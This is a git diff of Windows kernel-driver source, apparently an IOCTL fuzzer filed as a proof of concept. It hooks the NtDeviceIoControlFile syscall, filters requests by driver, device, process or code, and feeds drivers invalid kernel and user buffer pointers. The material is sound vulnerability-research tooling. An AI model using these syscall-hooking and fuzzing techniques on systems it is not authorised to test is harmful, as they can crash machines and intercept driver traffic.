+ ZwDeleteValueKey(hKey, &usDenyRules); + ZwDeleteValueKey(hKey, &usOptions); + ZwDeleteValueKey(hKey, &usFuzzingType); + + ZwClose(hKey); + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwOpenKey() fails; status: 0x%.8x\n", ns); + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +BOOLEAN LoadFuzzerOptions(void) +{ + HANDLE hKey = NULL; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + OBJECT_ATTRIBUTES ObjAttr; + InitializeObjectAttributes(&ObjAttr, &m_RegistryPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + + // open service key + ns = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &ObjAttr); + if (NT_SUCCESS(ns)) + { + PVOID Val = NULL; + ULONG ValSize = 0; + BOOLEAN bBootFuzzingEnabled = FALSE; + UNICODE_STRING usAllowRules, usDenyRules; + RtlInitUnicodeString(&usAllowRules, L"_allow_rules"); + RtlInitUnicodeString(&usDenyRules, L"_deny_rules"); + + // try to load options + + if (RegQueryValueKey(hKey, L"_options", REG_DWORD, &Val, &ValSize)) + { + if (ValSize == sizeof(ULONG)) + { + m_FuzzOptions = *(PULONG)Val; + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): m_FuzzOptions has been set to 0x%.8x\n", m_FuzzOptions); + + if (m_FuzzOptions & FUZZ_OPT_FUZZ_BOOT) + { + bBootFuzzingEnabled = TRUE; + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() WARNING: Invalid size for '_options' value\n"); + } + + M_FREE(Val); + } + + if (bBootFuzzingEnabled) + { + if (RegQueryValueKey(hKey, L"_fuzzing_type", REG_DWORD, &Val, &ValSize)) + { + if (ValSize == sizeof(ULONG)) + { + m_FuzzingType = *(PULONG)Val; + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): m_FuzzingType has been set to 0x%.8x\n", m_FuzzingType); + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() WARNING: Invalid size for '_fuzzing_type' value\n"); + } + + M_FREE(Val); + } + + // load allow rules + LoadAllowRules(hKey, &usAllowRules); + + // load deny rules + LoadDenyRules(hKey, &usDenyRules); + } + + ZwClose(hKey); + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwOpenKey() fails; status: 0x%.8x\n", ns); + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +PFILE_OBJECT GetDeviceObjectPointer(PUNICODE_STRING usDeviceName) +{ + PFILE_OBJECT pObject = NULL; + HANDLE hDevice = NULL; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + OBJECT_ATTRIBUTES ObjAttr; + IO_STATUS_BLOCK StatusBlock; + + InitializeObjectAttributes(&ObjAttr, usDeviceName, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL); + + ns = ZwOpenFile( + &hDevice, + FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE, + &ObjAttr, + &StatusBlock, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_SYNCHRONOUS_IO_NONALERT + ); + if (NT_SUCCESS(ns)) + { + ns = ObReferenceObjectByHandle(hDevice, 0, *IoFileObjectType, KernelMode, (PVOID *)&pObject, NULL); + if (!NT_SUCCESS(ns)) + { + DbgMsg(__FILE__, __LINE__, "ObReferenceObjectByHandle() fails; status: 0x%.8x\n", ns); + } + + ZwClose(hDevice); + } + else + { + DbgMsg( + __FILE__, __LINE__, "Error while opening \"%wZ\"; status: 0x%.8x\n", + usDeviceName, ns + ); + } + + return pObject; +} +//-------------------------------------------------------------------------------------- +NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + PIO_STACK_LOCATION stack; + NTSTATUS ns = STATUS_SUCCESS; + + Irp->IoStatus.Status = ns; + Irp->IoStatus.Information = 0; + + stack = IoGetCurrentIrpStackLocation(Irp); + + if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL) + { + ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode; + ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength; + PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer; + +#ifdef DBG_IO + + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): IRP_MJ_DEVICE_CONTROL 0x%.8x\n", Code); +#endif + Irp->IoStatus.Information = Size; + + switch (Code) + { + case IOCTL_DRV_CONTROL: + { + Buff->Status = S_ERROR; + + if (Size >= sizeof(REQUEST_BUFFER)) + { + ULONG KdCommandLength = 0; + IOCTL_FILTER Flt; + RtlZeroMemory(&Flt, sizeof(Flt)); + + if (Buff->AddObject.bDbgcbAction && Size > sizeof(REQUEST_BUFFER)) + { + // check for zero byte at the end of the string + if (Buff->Buff[Size - sizeof(REQUEST_BUFFER) - 1] != 0) + { + goto _bad_addobj_request; + } + + // debugger command available + KdCommandLength = strlen(Buff->Buff) + 1; + } + + switch (Buff->Code) + { + case C_ADD_DRIVER: + case C_ADD_DEVICE: + case C_ADD_PROCESS: + case C_ADD_IOCTL: + { + // check for zero byte at the end of the string + if (Buff->AddObject.szObjectName[MAX_REQUEST_STRING - 1] != 0) + { + goto _bad_addobj_request; + } + + if (Buff->Code == C_ADD_IOCTL) + { + Flt.IoctlCode = Buff->AddObject.IoctlCode; + } + else + { + ANSI_STRING asName; + + RtlInitAnsiString( + &asName, + Buff->AddObject.szObjectName + ); + + ns = RtlAnsiStringToUnicodeString(&Flt.usName, &asName, TRUE); + if (!NT_SUCCESS(ns)) + { + DbgMsg(__FILE__, __LINE__, "RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\n", ns); + goto _bad_addobj_request; + } + } + + switch (Buff->Code) + { + case C_ADD_DRIVER: + + // filter by driver file name/path + Flt.Type = FLT_DRIVER_NAME; + break; + + case C_ADD_DEVICE: + + // filter by device name + Flt.Type = FLT_DEVICE_NAME; + break; + + case C_ADD_PROCESS: + + // filter by caller process executable file name/path + Flt.Type = FLT_PROCESS_PATH; + break; + + case C_ADD_IOCTL: + + // filter by IOCTL control code value + Flt.Type = FLT_IOCTL_CODE; + break; + } + + KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL); + + __try + { + PIOCTL_FILTER f_entry = NULL; + + if (Buff->AddObject.bAllow) + { + // add filter rule into the ALLOW list + if (f_entry = FltAddAllowRule(&Flt, KdCommandLength)) + { + Buff->Status = S_SUCCESS; + } + } + else + { + // add filter rule into the DENY list + if (f_entry = FltAddDenyRule(&Flt, KdCommandLength)) + { + Buff->Status = S_SUCCESS; + } + } + + if (f_entry) + { + f_entry->bDbgcbAction = Buff->AddObject.bDbgcbAction; + if (KdCommandLength > 0) + { + strcpy(f_entry->szKdCommand, Buff->Buff); + + if (Buff->Code == C_ADD_IOCTL) + { + DbgPrint( + "" __FUNCTION__ "(): ControlCode=0x%.8x KdCommand=%s\n", + f_entry->IoctlCode, f_entry->szKdCommand, f_entry->szKdCommand + ); + } + else + { + DbgPrint( + "" __FUNCTION__ "(): Object=\"%wZ\" KdCommand=%s\n", + &f_entry->usName, f_entry->szKdCommand, f_entry->szKdCommand + ); + } + + // ĽőÉŮŇýÓĂĽĆĘý + DeferenceRuleCount(f_entry); + } + } + } + __finally + { + KeReleaseMutex(&m_CommonMutex, FALSE); + } + + if (Buff->Status != S_SUCCESS && + Buff->Code != C_ADD_IOCTL) + { + RtlFreeUnicodeString(&Flt.usName); + } +_bad_addobj_request: + break; + } + + case C_DEL_OPTIONS: + { + DeleteSavedFuzzerOptions(); + break; + } + + case C_SET_OPTIONS: + { + PLARGE_INTEGER FuzzThreadId = NULL; + KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL); + + __try + { + m_FuzzOptions = Buff->Options.Options; + + if (!(m_FuzzOptions & FUZZ_OPT_NO_SDT_HOOKS)) + { + // hook nt!NtDeviceIoControlFile() syscall + m_bHooksInitialized = SetUpHooks(); + } + + if (!(m_FuzzOptions & FUZZ_OPT_LOG_IOCTL_GLOBAL) && m_hIoctlsLogFile) + { + ZwClose(m_hIoctlsLogFile); + m_hIoctlsLogFile = NULL; + + DbgMsg(__FILE__, __LINE__, "[+] IOCTLs log closed \"%wZ\"\n", &m_usIoctlsLogFilePath); + } + + m_FuzzingType = Buff->Options.FuzzingType; + m_UserModeData = Buff->Options.UserModeData; +#ifdef _X86_ + m_FuzzThreadId = (HANDLE)Buff->Options.FuzzThreadId; +#elif _AMD64_ + FuzzThreadId = (PLARGE_INTEGER)&m_FuzzThreadId; + FuzzThreadId->HighPart = 0; + FuzzThreadId->LowPart = Buff->Options.FuzzThreadId; +#endif + if (m_FuzzOptions & FUZZ_OPT_FUZZ_BOOT) + { + // boot fuzzing mode has been enabled + SaveFuzzerOptions(); + m_FuzzOptions = 0; + } + else + { + DeleteSavedFuzzerOptions(); + } + + Buff->Status = S_SUCCESS; + } + __finally + { + KeReleaseMutex(&m_CommonMutex, FALSE); + } + + break; + } + + case C_GET_DEVICE_INFO: + { + // check for zero byte at the end of the string + if (Size > sizeof(REQUEST_BUFFER) && + Buff->Buff[Size - sizeof(REQUEST_BUFFER) - 1] == 0) + { + ANSI_STRING asDeviceName; + UNICODE_STRING usDeviceName; + + RtlInitAnsiString( + &asDeviceName, + Buff->Buff + ); + + ns = RtlAnsiStringToUnicodeString(&usDeviceName, &asDeviceName, TRUE); + if (NT_SUCCESS(ns)) + { + // open disk device object + PDEVICE_OBJECT TargetDeviceObject = NULL; + PFILE_OBJECT TargetFileObject = NULL; +#ifdef USE_IoGetDeviceObjectPointer + ns = IoGetDeviceObjectPointer( + &usDeviceName, + GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, + &TargetFileObject, + &TargetDeviceObject + ); + if (NT_SUCCESS(ns)) +#else + if (TargetFileObject = GetDeviceObjectPointer(&usDeviceName)) + { + TargetDeviceObject = TargetFileObject->DeviceObject; + } + + if (TargetFileObject) +#endif + { + // pass device object information to the caller + Buff->DeviceInfo.DeviceObjectAddr = TargetDeviceObject; + if (TargetDeviceObject->DriverObject) + { + PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL; + POBJECT_NAME_INFORMATION NameInfo = NULL; + Buff->DeviceInfo.DriverObjectAddr = TargetDeviceObject->DriverObject; + + // get driver object name by pointer + NameInfo = GetObjectName(TargetDeviceObject->DriverObject); + if (NameInfo) + { + ANSI_STRING asDriverName; + ns = RtlUnicodeStringToAnsiString(&asDriverName, &NameInfo->Name, TRUE); + if (NT_SUCCESS(ns)) + { + strncpy( + Buff->DeviceInfo.szDriverObjectName, + asDriverName.Buffer, + min(MAX_REQUEST_STRING - 1, asDriverName.Length) + ); + + RtlFreeAnsiString(&asDriverName); + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\n", ns); + } + + ExFreePool(NameInfo); + } + + // get loader information entry for the driver + pModuleEntry = (PLDR_DATA_TABLE_ENTRY) + TargetDeviceObject->DriverObject->DriverSection; + + if (pModuleEntry && + MmIsAddressValid(pModuleEntry) && + ValidateUnicodeString(&pModuleEntry->FullDllName)) + { + ANSI_STRING asDllName; + ns = RtlUnicodeStringToAnsiString(&asDllName, &pModuleEntry->FullDllName, TRUE); + if (NT_SUCCESS(ns)) + { + strncpy( + Buff->DeviceInfo.szDriverFilePath, + asDllName.Buffer, + min(MAX_REQUEST_STRING - 1, asDllName.Length) + ); + + RtlFreeAnsiString(&asDllName); + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\n", ns); + } + } + + Buff->Status = S_SUCCESS; + } + + ObDereferenceObject(TargetFileObject); + } +#ifdef USE_IoGetDeviceObjectPointer + else + { + DbgMsg( + __FILE__, __LINE__, + "IoGetDeviceObjectPointer() fails for \"%wZ\", status: 0x%.8x\n", + &usDeviceName, ns + ); + } +#endif + RtlFreeUnicodeString(&usDeviceName); + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\n", ns); + } + } + + break; + } + + case C_GET_OBJECT_NAME: + { + PFILE_OBJECT pFileObject = NULL; + ns = ObReferenceObjectByHandle( + Buff->ObjectName.hObject, + 0, + *IoFileObjectType, + KernelMode, + (PVOID *)&pFileObject, + NULL + ); + if (NT_SUCCESS(ns)) + { + if (pFileObject->DeviceObject) + { + // get name of the object + POBJECT_NAME_INFORMATION NameInfo = GetObjectName(pFileObject->DeviceObject); + if (NameInfo) + { + ANSI_STRING asName; + ns = RtlUnicodeStringToAnsiString(&asName, &NameInfo->Name, TRUE); + if (NT_SUCCESS(ns)) + { + strncpy( + Buff->ObjectName.szObjectName, + asName.Buffer, + min(MAX_REQUEST_STRING - 1, asName.Length) + ); + + Buff->Status = S_SUCCESS; + + RtlFreeAnsiString(&asName); + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\n", ns); + } + + M_FREE(NameInfo); + } + } + + ObDereferenceObject(pFileObject); + } + else + { + DbgMsg(__FILE__, __LINE__, "ObReferenceObjectByHandle() fails; status: 0x%.8x\n", ns); + } + + break; + } + + case C_CHECK_HOOKS: + { + if (m_bHooksInitialized) + { + Buff->CheckHooks.bHooksInstalled = TRUE; + } + else + { + Buff->CheckHooks.bHooksInstalled = FALSE; + } + + break; + } + } + } + + break; + } + + default: + { + ns = STATUS_INVALID_DEVICE_REQUEST; + Irp->IoStatus.Information = 0; + break; + } + } + } + else if (stack->MajorFunction == IRP_MJ_CREATE) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): IRP_MJ_CREATE\n"); + +#ifdef DBGPIPE + + DbgOpenPipe(); +#endif + KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL); + + __try + { + // delete all filter rules + FltFlushAllList(); + + m_FuzzProcess = PsGetCurrentProcess(); + ObReferenceObject(m_FuzzProcess); + } + __finally + { + KeReleaseMutex(&m_CommonMutex, FALSE); + } + } + else if (stack->MajorFunction == IRP_MJ_CLOSE) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): IRP_MJ_CLOSE\n"); + + KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL); + + __try + { + // delete all filter rules + FltFlushAllList(); + + m_FuzzOptions = 0; + + if (m_FuzzProcess) + { + ObDereferenceObject(m_FuzzProcess); + m_FuzzProcess = NULL; + } + } + __finally + { + KeReleaseMutex(&m_CommonMutex, FALSE); + } + +#ifdef DBGPIPE + + DbgClosePipe(); +#endif + + if (m_hIoctlsLogFile) + { + ZwClose(m_hIoctlsLogFile); + m_hIoctlsLogFile = NULL; + + DbgMsg(__FILE__, __LINE__, "[+] IOCTLs log closed \"%wZ\"\n", &m_usIoctlsLogFilePath); + } + } + + if (ns != STATUS_PENDING) + { + Irp->IoStatus.Status = ns; + IoCompleteRequest(Irp, IO_NO_INCREMENT); + } + + return ns; +} +//-------------------------------------------------------------------------------------- +void DriverUnload(PDRIVER_OBJECT DriverObject) +{ + LARGE_INTEGER Timeout = { 0 }; + DbgMsg(__FILE__, __LINE__, "DriverUnload()\n"); + + PsSetCreateProcessNotifyRoutine(ProcessNotifyRoutine, TRUE); + + // delete device + IoDeleteSymbolicLink(&m_usDosDeviceName); + IoDeleteDevice(m_DeviceObject); + + KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, NULL); + + // unhook NtDeviceIoControlFile() system service + RemoveHooks(); + + WaitHookRemoveComplete(); + + __try + { + // delete all filter rules + FltUnInitRuleList(); + } + __finally + { + KeReleaseMutex(&m_CommonMutex, FALSE); + } + + FreeProcessInfo(); + LstFree(m_ProcessesList); + + Timeout.QuadPart = RELATIVE(SECONDS(1)); + KeDelayExecutionThread(KernelMode, FALSE, &Timeout); +} +//-------------------------------------------------------------------------------------- +NTSTATUS NTAPI DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) +{ + LARGE_INTEGER TickCount; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + + //DbgInit(); + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): '%wZ' "IFMT"\n", RegistryPath, KernelGetModuleBase("ioctlfuzzer.exe")); + + DriverObject->DriverUnload = DriverUnload; + + RtlGetVersion(&m_VersionInformation); + + ns = FltInitRuleList(); + if(!NT_SUCCESS(ns)) + return ns; + + // initialize random number generator + + KeQueryTickCount(&TickCount); + init_genrand(TickCount.LowPart); + + // Get offset of KTHREAD::PreviousMode field + m_KTHREAD_PrevMode = GetPrevModeOffset(); + if (m_KTHREAD_PrevMode == 0) + { + DbgMsg(__FILE__, __LINE__, "Error while obtaining KTHREAD::PreviousMode offset\n"); + return STATUS_UNSUCCESSFUL; + } + + m_ProcessesList = LstInit(); + if (m_ProcessesList == NULL) + { + return STATUS_UNSUCCESSFUL; + } + + if (AllocUnicodeString(&m_RegistryPath, RegistryPath->MaximumLength)) + { + RtlCopyUnicodeString(&m_RegistryPath, RegistryPath); + } + else + { + return STATUS_UNSUCCESSFUL; + } + + KeInitializeMutex(&m_CommonMutex, 0); + + RtlInitUnicodeString(&m_usDeviceName, L"\\Device\\" DEVICE_NAME); + RtlInitUnicodeString(&m_usDosDeviceName, L"\\DosDevices\\" DEVICE_NAME); + + // create driver communication device + ns = IoCreateDevice( + DriverObject, + 0, + &m_usDeviceName, + FILE_DEVICE_UNKNOWN, + FILE_DEVICE_SECURE_OPEN, + FALSE, + &m_DeviceObject + ); + if (NT_SUCCESS(ns)) + { + DriverObject->MajorFunction[IRP_MJ_CREATE] = + DriverObject->MajorFunction[IRP_MJ_CLOSE] = + DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch; + + ns = IoCreateSymbolicLink(&m_usDosDeviceName, &m_usDeviceName); + if (NT_SUCCESS(ns)) + { + ns = PsSetCreateProcessNotifyRoutine(ProcessNotifyRoutine, FALSE); + if (NT_SUCCESS(ns)) + { + // load options for boot fuzzing (if available) + LoadFuzzerOptions(); + + if (m_FuzzOptions & FUZZ_OPT_FUZZ_BOOT) + { + // hook nt!NtDeviceIoControlFile() syscall + m_bHooksInitialized = SetUpHooks(); + } + + return STATUS_SUCCESS; + } + else + { + DbgMsg(__FILE__, __LINE__, "PsSetCreateProcessNotifyRoutine() fails: 0x%.8x\n", ns); + } + + IoDeleteSymbolicLink(&m_usDosDeviceName); + } + else + { + DbgMsg(__FILE__, __LINE__, "IoCreateSymbolicLink() fails: 0x%.8x\n", ns); + } + + IoDeleteDevice(m_DeviceObject); + } + else + { + DbgMsg(__FILE__, __LINE__, "IoCreateDevice() fails: 0x%.8x\n", ns); + } + + return STATUS_UNSUCCESSFUL; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/driver.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/driver.h new file mode 100644 index 00000000..05022c1f --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/driver.h @@ -0,0 +1,2 @@ + +void SetPreviousMode(KPROCESSOR_MODE Mode); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/drvcomm.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/drvcomm.h new file mode 100644 index 00000000..8bbcaa9e --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/drvcomm.h @@ -0,0 +1,117 @@ +#define DEVICE_NAME L"IOCTLfuzzer" +#define DBG_PIPE_NAME L"IOCTLfuzzer" +#define DBG_PIPE_NAME_A "IOCTLfuzzer" + +#define IOCTL_DRV_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x01, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) + +#define S_ERROR 0x00 +#define S_SUCCESS 0x01 + +#define C_ADD_DEVICE 0x01 +#define C_ADD_DRIVER 0x02 +#define C_ADD_IOCTL 0x03 +#define C_ADD_PROCESS 0x04 +#define C_SET_OPTIONS 0x05 +#define C_GET_DEVICE_INFO 0x06 +#define C_CHECK_HOOKS 0x07 +#define C_DEL_OPTIONS 0x08 +#define C_GET_OBJECT_NAME 0x09 + +// fuzzing options +#define FUZZ_OPT_LOG_IOCTL 0x00000001 +#define FUZZ_OPT_LOG_IOCTL_BUFFERS 0x00000002 +#define FUZZ_OPT_LOG_IOCTL_GLOBAL 0x00000004 +#define FUZZ_OPT_LOG_EXCEPTIONS 0x00000008 +#define FUZZ_OPT_LOG_DEBUG 0x00000010 +#define FUZZ_OPT_FUZZ 0x00000020 +#define FUZZ_OPT_FUZZ_SIZE 0x00000040 +#define FUZZ_OPT_FUZZ_FAIR 0x00000080 +#define FUZZ_OPT_FUZZ_BOOT 0x00000100 +#define FUZZ_OPT_NO_SDT_HOOKS 0x00000200 + +typedef ULONG FUZZING_TYPE; + +#define FuzzingType_Random 0x00000001 +#define FuzzingType_Dword 0x00000002 + +// area to store some variables, that must located in user mode +#pragma pack(push, 1) +typedef struct _USER_MODE_DATA +{ + IO_STATUS_BLOCK IoStatus; + +} USER_MODE_DATA, +*PUSER_MODE_DATA; +#pragma pack(pop) + +#define MAX_REQUEST_STRING 0x100 + +#pragma pack(push, 1) +typedef struct _REQUEST_BUFFER +{ + // operation status (see S_* definitions) + ULONG Status; + + // operation code (see C_* definitions) + ULONG Code; + + union + { + struct + { + ULONG Options; + ULONG FuzzThreadId; + FUZZING_TYPE FuzzingType; + PUSER_MODE_DATA UserModeData; + ULONG KiDispatchException_Offset; + + } Options; + + struct + { + PVOID DeviceObjectAddr; + PVOID DriverObjectAddr; + char szDriverObjectName[MAX_REQUEST_STRING]; + char szDriverFilePath[MAX_REQUEST_STRING]; + + } DeviceInfo; + + struct + { + // for C_ADD_IOCTL + ULONG IoctlCode; + + // for all C_ADD_* + BOOLEAN bAllow; + + // for C_ADD_DEVICE, C_ADD_DRIVER and C_ADD_PROCESS + char szObjectName[MAX_REQUEST_STRING]; + + /* + If TRUE -- debugger command, that stored in Buff[], + must be executed for every IOCTL, that has been matched + by this object. + */ + BOOLEAN bDbgcbAction; + + } AddObject; + + struct + { + HANDLE hObject; + char szObjectName[MAX_REQUEST_STRING]; + + } ObjectName; + + struct + { + BOOLEAN bHooksInstalled; + + } CheckHooks; + }; + + char Buff[1]; + +} REQUEST_BUFFER, +*PREQUEST_BUFFER; +#pragma pack(pop) diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/extern.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/extern.h new file mode 100644 index 00000000..c33baf5e --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/extern.h @@ -0,0 +1,67 @@ +/* ----------------------------------------------------------------------------- + * extern.h + * + * Copyright (c) 2004, 2005, 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ +#ifndef UD_EXTERN_H +#define UD_EXTERN_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "types.h" + +/* ============================= PUBLIC API ================================= */ + +extern void ud_init(struct ud*); + +extern void ud_set_mode(struct ud*, uint8_t); + +extern void ud_set_pc(struct ud*, uint64_t); + +extern void ud_set_input_hook(struct ud*, int (*)(struct ud*)); + +extern void ud_set_input_buffer(struct ud*, uint8_t*, size_t); + +#ifndef __UD_STANDALONE__ +extern void ud_set_input_file(struct ud*, FILE*); +#endif /* __UD_STANDALONE__ */ + +extern void ud_set_vendor(struct ud*, unsigned); + +extern void ud_set_syntax(struct ud*, void (*)(struct ud*)); + +extern void ud_input_skip(struct ud*, size_t); + +extern int ud_input_end(struct ud*); + +extern unsigned int ud_decode(struct ud*); + +extern unsigned int ud_disassemble(struct ud*); + +extern void ud_translate_intel(struct ud*); + +extern void ud_translate_att(struct ud*); + +extern char* ud_insn_asm(struct ud* u); + +extern uint8_t* ud_insn_ptr(struct ud* u); + +extern uint64_t ud_insn_off(struct ud*); + +extern char* ud_insn_hex(struct ud*); + +extern unsigned int ud_insn_len(struct ud* u); + +extern const char* ud_lookup_mnemonic(enum ud_mnemonic_code c); + +/* ========================================================================== */ + +#ifdef __cplusplus +} +#endif +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/handlers.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/handlers.c new file mode 100644 index 00000000..74bcea17 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/handlers.c @@ -0,0 +1,563 @@ +#include "stdafx.h" + +NT_DEVICE_IO_CONTROL_FILE old_NtDeviceIoControlFile = NULL; + +/** + * Fuzzing settings + */ +ULONG m_FuzzOptions = 0; +FUZZING_TYPE m_FuzzingType = FuzzingType_Random; +/** + * Exported variables for acessing to the + * last IOCTL request information from the kernel debugger. + */ +PDEVICE_OBJECT currentDeviceObject = NULL; +PDRIVER_OBJECT currentDriverObject = NULL; +ULONG currentIoControlCode = 0; +PVOID currentInputBuffer = NULL; +ULONG currentInputBufferLength = 0; +PVOID currentOutputBuffer = NULL; +ULONG currentOutputBufferLength = 0; + +/** + * Handle and objetc pointer of the fuzzer's process (uses for fair fuzzing mode) + */ +HANDLE m_FuzzThreadId = 0; +PEPROCESS m_FuzzProcess = NULL; +PUSER_MODE_DATA m_UserModeData = NULL; + +/** +* Some fuzzing parameters +*/ +#define RANDOM_FUZZING_ITERATIONS 10 +#define BUFFERED_FUZZING_ITERATIONS 5 +#define DWORD_FUZZING_MAX_LENGTH 0x2000 +#define DWORD_FUZZING_DELTA 4 + +ULONG g_newDeviceIoControlFileCallCount = 0; + +#ifdef _X86_ + +// pointer values for invalid kernel and user buffers +#define KERNEL_BUFFER_ADDRESS (PVOID)(0xFFFF0000) +#define USER_BUFFER_ADDRESS (PVOID)(0x00001000) + +#elif _AMD64_ + +#define KERNEL_BUFFER_ADDRESS (PVOID)(0xFFFFFFFFFFFF0000) +#define USER_BUFFER_ADDRESS (PVOID)(0x0000000000001000) + +#endif + +// constants for dword fuzzing +ULONG m_DwordFuzzingConstants[] = +{ + 0x00000000, + 0x00001000, + 0xFFFF0000, + 0xFFFFFFFF +}; + +// defined in driver.cpp +extern PDEVICE_OBJECT m_DeviceObject; +extern KMUTEX m_CommonMutex; +extern PCOMMON_LST m_ProcessesList; +//-------------------------------------------------------------------------------------- +PCOMMON_LST_ENTRY LookupProcessInfo(PEPROCESS Process) +{ + PCOMMON_LST_ENTRY process_entry = NULL; + KIRQL OldIrql; + KeAcquireSpinLock(&m_ProcessesList->ListLock, &OldIrql); + + __try + { + PCOMMON_LST_ENTRY e = m_ProcessesList->list_head; + + // enumerate all processes + while (e) + { + if (e->Data && e->DataSize == sizeof(LST_PROCESS_INFO)) + { + PLST_PROCESS_INFO Info = (PLST_PROCESS_INFO)e->Data; + if (Info->Process == Process) + { + process_entry = e; + break; + } + } + + e = e->next; + } + } + __finally + { + KeReleaseSpinLock(&m_ProcessesList->ListLock, OldIrql); + } + + return process_entry; +} +//-------------------------------------------------------------------------------------- +void FreeProcessInfo(void) +{ + KIRQL OldIrql; + KeAcquireSpinLock(&m_ProcessesList->ListLock, &OldIrql); + + __try + { + PCOMMON_LST_ENTRY e = m_ProcessesList->list_head; + + // enumerate all processes + while (e) + { + if (e->Data && e->DataSize == sizeof(LST_PROCESS_INFO)) + { + PLST_PROCESS_INFO Info = (PLST_PROCESS_INFO)e->Data; + if (Info->usImagePath.Buffer) + { + // free process image path + RtlFreeUnicodeString(&Info->usImagePath); + } + } + + e = e->next; + } + } + __finally + { + KeReleaseSpinLock(&m_ProcessesList->ListLock, OldIrql); + } +} +//-------------------------------------------------------------------------------------- +void NTAPI ProcessNotifyRoutine(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create) +{ + PEPROCESS Process; + NTSTATUS ns = PsLookupProcessByProcessId(ProcessId, &Process); + if (NT_SUCCESS(ns)) + { + KeWaitForMutexObject(&m_CommonMutex, UserRequest, KernelMode, FALSE, NULL); + + __try + { + if (Create) + { + // process has been created + UNICODE_STRING ImagePath; + + // get full image path for this process + if (GetProcessFullImagePath(Process, &ImagePath)) + { + WCHAR wcProcess[0x200]; + UNICODE_STRING usProcess; + LST_PROCESS_INFO Info; + + LogData("Process "IFMT" started: '%wZ' (PID: %d)\r\n\r\n", Process, &ImagePath, ProcessId); + + swprintf(wcProcess, L"'%wZ' (" IFMT_W L")", &ImagePath, Process); + RtlInitUnicodeString(&usProcess, wcProcess); + + + Info.Process = Process; + Info.ProcessId = ProcessId; + + Info.usImagePath.Buffer = ImagePath.Buffer; + Info.usImagePath.Length = ImagePath.Length; + Info.usImagePath.MaximumLength = ImagePath.MaximumLength; + + // add process information into the list + if (LstAddEntry(m_ProcessesList, &usProcess, &Info, sizeof(Info)) == NULL) + { + RtlFreeUnicodeString(&ImagePath); + } + } + } + else + { + PCOMMON_LST_ENTRY process_entry = NULL; + LogData("Process "IFMT" terminated\r\n\r\n", Process); + + // process terminating 